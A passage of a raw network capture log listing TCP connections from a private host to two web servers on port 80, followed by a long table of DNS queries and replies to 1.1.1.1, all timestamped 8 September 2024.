Sep 8, 2024 08:43:42.068730116 CEST	65075	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:42.091965914 CEST	65073	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:42.092123032 CEST	65076	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:42.096983910 CEST	80	65076	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:42.097058058 CEST	80	65073	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:42.097074986 CEST	65076	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:42.097104073 CEST	65073	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:42.097594023 CEST	65076	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:42.102549076 CEST	80	65076	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:42.587518930 CEST	80	65076	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:42.587578058 CEST	65076	80	192.168.2.5	172.234.222.138

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 8, 2024 08:39:38.789815903 CEST	56227	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:38.798706055 CEST	53	56227	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:38.833249092 CEST	64976	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:38.850657940 CEST	53	64976	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:39.012164116 CEST	52934	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:39.847997904 CEST	53	52934	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:39.850714922 CEST	63044	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:40.100202084 CEST	53	63044	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:40.215307951 CEST	52652	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:40.398109913 CEST	53	52652	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:40.400346994 CEST	58009	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:40.604711056 CEST	53	58009	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:40.715281963 CEST	49160	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:40.724688053 CEST	53	49160	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:40.755891085 CEST	64792	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:40.785078049 CEST	53	64792	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:41.284861088 CEST	56141	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:41.548849106 CEST	53	56141	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:42.168540001 CEST	56612	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:42.228456020 CEST	53	56612	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:42.230767012 CEST	57741	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:42.259517908 CEST	53	57741	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:42.379592896 CEST	58097	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:42.389400959 CEST	53	58097	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:43.543354988 CEST	62909	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:43.817120075 CEST	53	62909	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:43.823710918 CEST	63659	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:43.833395004 CEST	53	63659	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:43.949651003 CEST	65221	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:43.974406958 CEST	53	65221	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:45.105982065 CEST	57720	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:45.125264883 CEST	53	57720	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:46.247071028 CEST	59684	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:46.277215004 CEST	53	59684	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:47.418514013 CEST	57866	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:47.451641083 CEST	53	57866	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:47.459647894 CEST	57180	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:47.488591909 CEST	53	57180	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:47.590622902 CEST	51486	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:47.750243902 CEST	53	51486	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:47.752585888 CEST	53201	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:47.920875072 CEST	53	53201	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:48.027692080 CEST	53715	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:48.247077942 CEST	53	53715	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:48.249715090 CEST	58431	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:48.422338009 CEST	53	58431	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:48.527690887 CEST	51677	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:48.547384024 CEST	53	51677	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:49.684175968 CEST	58385	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:49.692606926 CEST	53	58385	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:50.808984995 CEST	59786	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:50.848263025 CEST	53	59786	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:50.850903988 CEST	50182	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:50.886010885 CEST	53	50182	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:50.996596098 CEST	60893	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:51.017369986 CEST	53	60893	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:52.122117996 CEST	49321	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:52.385025978 CEST	53	49321	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:52.387948990 CEST	54923	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:52.551686049 CEST	53	54923	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:52.668306112 CEST	57423	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:52.677264929 CEST	53	57423	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:52.679313898 CEST	57422	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:52.688330889 CEST	53	57422	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:52.793370008 CEST	57984	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:52.851593018 CEST	53	57984	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:52.853899956 CEST	58071	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:52.966660976 CEST	53	58071	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:53.074759007 CEST	59344	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:53.084810972 CEST	53	59344	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:53.087028980 CEST	55198	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:53.438565016 CEST	53	55198	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:53.543236017 CEST	60440	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:54.094127893 CEST	53	60440	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:54.096220016 CEST	50505	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:54.288688898 CEST	53	50505	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:54.402637959 CEST	61810	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:54.411360025 CEST	53	61810	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:55.516381979 CEST	59863	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:55.560339928 CEST	53	59863	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:55.563191891 CEST	63043	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:55.570357084 CEST	53	63043	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:55.684158087 CEST	52043	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:55.693849087 CEST	53	52043	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:55.699619055 CEST	50185	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:56.043827057 CEST	53	50185	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:56.152625084 CEST	58378	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:56.532664061 CEST	53	58378	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:56.534864902 CEST	50388	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:56.705240011 CEST	53	50388	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:56.808943987 CEST	53909	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:56.904861927 CEST	53	53909	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:56.907109976 CEST	56377	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:57.251879930 CEST	53	56377	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:57.355926037 CEST	64696	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:57.382781982 CEST	53	64696	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:57.384915113 CEST	61378	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:57.393239975 CEST	53	61378	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:57.496393919 CEST	56272	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:57.516189098 CEST	53	56272	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:57.529567003 CEST	56802	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:57.746982098 CEST	53	56802	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:58.856272936 CEST	59468	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:58.866199017 CEST	53	59468	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:58.869898081 CEST	64780	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:58.905155897 CEST	53	64780	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:59.012029886 CEST	55961	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:59.024426937 CEST	53	55961	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:59.026765108 CEST	60341	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:59.049619913 CEST	53	60341	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:59.153024912 CEST	63705	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:59.164453983 CEST	53	63705	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:59.168163061 CEST	49271	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:59.179363012 CEST	53	49271	1.1.1.1	192.168.2.5
Sep 8, 2024 08:39:59.293433905 CEST	64521	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:39:59.304471016 CEST	53	64521	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:00.465584993 CEST	54069	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:00.495088100 CEST	53	54069	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:00.497577906 CEST	63712	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:00.530637980 CEST	53	63712	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:00.637084007 CEST	52374	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:00.807832003 CEST	53	52374	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:00.810194969 CEST	63805	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:00.979391098 CEST	53	63805	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:01.090203047 CEST	62551	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:01.098711014 CEST	53	62551	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:02.199764013 CEST	55553	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:02.287029982 CEST	53	55553	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:02.293517113 CEST	53392	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:02.368541956 CEST	53	53392	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:02.480818987 CEST	53961	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:02.500355959 CEST	53	53961	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:03.621443033 CEST	62205	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:03.856539011 CEST	53	62205	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:03.858900070 CEST	52477	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:03.931632996 CEST	53	52477	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:04.043515921 CEST	58594	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:04.263664961 CEST	53	58594	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:04.269479990 CEST	60006	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:04.498486042 CEST	53	60006	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:04.605875969 CEST	51827	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:04.766577959 CEST	53	51827	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:04.771509886 CEST	61876	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:04.936029911 CEST	53	61876	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:05.043510914 CEST	56185	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:05.062760115 CEST	53	56185	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:06.184151888 CEST	58095	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:06.203960896 CEST	53	58095	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:07.356051922 CEST	55405	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:07.664761066 CEST	53	55405	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:08.793405056 CEST	56764	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:08.832216024 CEST	53	56764	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:08.835525036 CEST	58363	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:08.956478119 CEST	53	58363	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:09.059159994 CEST	58187	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:09.070171118 CEST	53	58187	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:09.072467089 CEST	63298	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:09.353795052 CEST	53	63298	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:09.465123892 CEST	58798	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:09.487970114 CEST	53	58798	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:09.490417004 CEST	60376	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:09.716833115 CEST	53	60376	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:09.824697018 CEST	55799	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:09.966495037 CEST	53	55799	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:09.968513966 CEST	64161	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:10.244910955 CEST	53	64161	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:10.355844975 CEST	65037	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:10.364837885 CEST	53	65037	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:10.367186069 CEST	51723	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:10.376497984 CEST	53	51723	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:10.480860949 CEST	61447	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:10.497741938 CEST	53	61447	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:10.499969959 CEST	49519	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:10.784953117 CEST	53	49519	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:10.887201071 CEST	54690	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:11.155695915 CEST	53	54690	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:11.157663107 CEST	61265	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:11.997445107 CEST	53	61265	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.105915070 CEST	56552	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.127810001 CEST	53	56552	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.130042076 CEST	54714	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.302581072 CEST	53	54714	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.418402910 CEST	55870	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.436645031 CEST	53	55870	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.438723087 CEST	58771	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.448299885 CEST	53	58771	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.559025049 CEST	51478	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.618144989 CEST	53	51478	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.620351076 CEST	53720	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.655113935 CEST	53	53720	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.762056112 CEST	52928	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:12.934540987 CEST	53	52928	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:12.936687946 CEST	62597	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:13.101552010 CEST	53	62597	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:13.215229988 CEST	65481	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.059350014 CEST	53	65481	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.070420980 CEST	50789	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.165186882 CEST	53	50789	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.278536081 CEST	59859	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.288223982 CEST	53	59859	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.290234089 CEST	57992	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.298675060 CEST	53	57992	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.402731895 CEST	62829	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.435353994 CEST	53	62829	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.437468052 CEST	54955	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.446445942 CEST	53	54955	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.558885098 CEST	53005	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:14.850435019 CEST	53	53005	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:14.852746010 CEST	52315	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:15.059233904 CEST	53	52315	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:15.168574095 CEST	49223	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:15.195756912 CEST	53	49223	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:17.106122971 CEST	63500	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:17.135221958 CEST	53	63500	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:17.137253046 CEST	63906	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:17.171952009 CEST	53	63906	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:17.293303013 CEST	58291	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:18.292921066 CEST	58291	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:18.796035051 CEST	53	58291	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:18.798679113 CEST	57407	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:18.800728083 CEST	53	58291	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:18.905682087 CEST	53	57407	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:19.012090921 CEST	52034	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:19.865915060 CEST	53	52034	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:19.868226051 CEST	50139	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:20.112332106 CEST	53	50139	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:20.216747046 CEST	61666	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:20.225651979 CEST	53	61666	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:20.228037119 CEST	53879	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:20.235328913 CEST	53	53879	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:20.340110064 CEST	50336	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:20.550856113 CEST	53	50336	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:20.553385973 CEST	53166	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:20.781116009 CEST	53	53166	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:20.887227058 CEST	63400	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:20.904546022 CEST	53	63400	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:22.027930975 CEST	55735	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:22.062788010 CEST	53	55735	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:23.168301105 CEST	56620	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:23.187784910 CEST	53	56620	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:23.190201998 CEST	60689	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:23.209187031 CEST	53	60689	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:23.324518919 CEST	65097	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:23.362328053 CEST	53	65097	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:23.368777037 CEST	64940	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:23.400841951 CEST	53	64940	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:23.512027979 CEST	50172	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:23.521382093 CEST	53	50172	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:24.653100014 CEST	52059	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:24.662754059 CEST	53	52059	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:24.665522099 CEST	60759	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:24.943761110 CEST	53	60759	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:25.058952093 CEST	58863	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:25.634699106 CEST	53	58863	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:25.637116909 CEST	55913	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:25.714838982 CEST	53	55913	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:25.824642897 CEST	53060	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:25.834275007 CEST	53	53060	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:27.074558973 CEST	49479	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:27.083914042 CEST	53	49479	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:27.085885048 CEST	54334	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:27.112521887 CEST	53	54334	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:27.215136051 CEST	53116	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:27.311546087 CEST	53	53116	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:27.313724995 CEST	61525	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:27.643030882 CEST	53	61525	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:27.746485949 CEST	52745	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:27.915725946 CEST	53	52745	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:27.918199062 CEST	63876	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:28.096307993 CEST	53	63876	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:28.199548006 CEST	54932	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:28.604681969 CEST	53	54932	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:28.607105017 CEST	50483	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:28.632050991 CEST	53	50483	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:28.746452093 CEST	51961	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:28.756886005 CEST	53	51961	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:30.730793953 CEST	58009	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:30.904289007 CEST	53	58009	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:30.917026997 CEST	53793	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:31.099214077 CEST	53	53793	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:31.216213942 CEST	63944	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:31.385634899 CEST	53	63944	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:31.388044119 CEST	54042	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:31.557292938 CEST	53	54042	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:31.669826984 CEST	59547	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:31.679301977 CEST	53	59547	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:31.681308985 CEST	55816	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:31.693125010 CEST	53	55816	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:31.809206009 CEST	55123	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:31.988773108 CEST	53	55123	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:31.991359949 CEST	51954	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:32.153239965 CEST	53	51954	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:32.262083054 CEST	56874	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:33.216494083 CEST	53	56874	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:33.220586061 CEST	59254	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:34.060384035 CEST	53	59254	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:34.168324947 CEST	56758	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:34.859760046 CEST	53	56758	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:34.870879889 CEST	52343	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:34.970525026 CEST	53	52343	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:35.075479984 CEST	61549	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:35.318550110 CEST	53	61549	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:36.433887005 CEST	56178	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:36.772114038 CEST	53	56178	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:36.774385929 CEST	56391	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:36.870476007 CEST	53	56391	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:36.980833054 CEST	65402	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:37.161065102 CEST	53	65402	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:37.181817055 CEST	59666	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:37.354913950 CEST	53	59666	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:37.472995996 CEST	54505	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:37.482144117 CEST	53	54505	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:37.484086037 CEST	50154	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:37.493074894 CEST	53	50154	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:37.605760098 CEST	51949	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:37.624612093 CEST	53	51949	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:38.730914116 CEST	61339	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:38.741674900 CEST	53	61339	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:38.744385004 CEST	56158	53	192.168.2.5	1.1.1.1
Sep 8, 2024 08:40:38.751873016 CEST	53	56158	1.1.1.1	192.168.2.5
Sep 8, 2024 08:40:38.855988026 CEST	50084	53	192.168.2.5	1.1.1.1
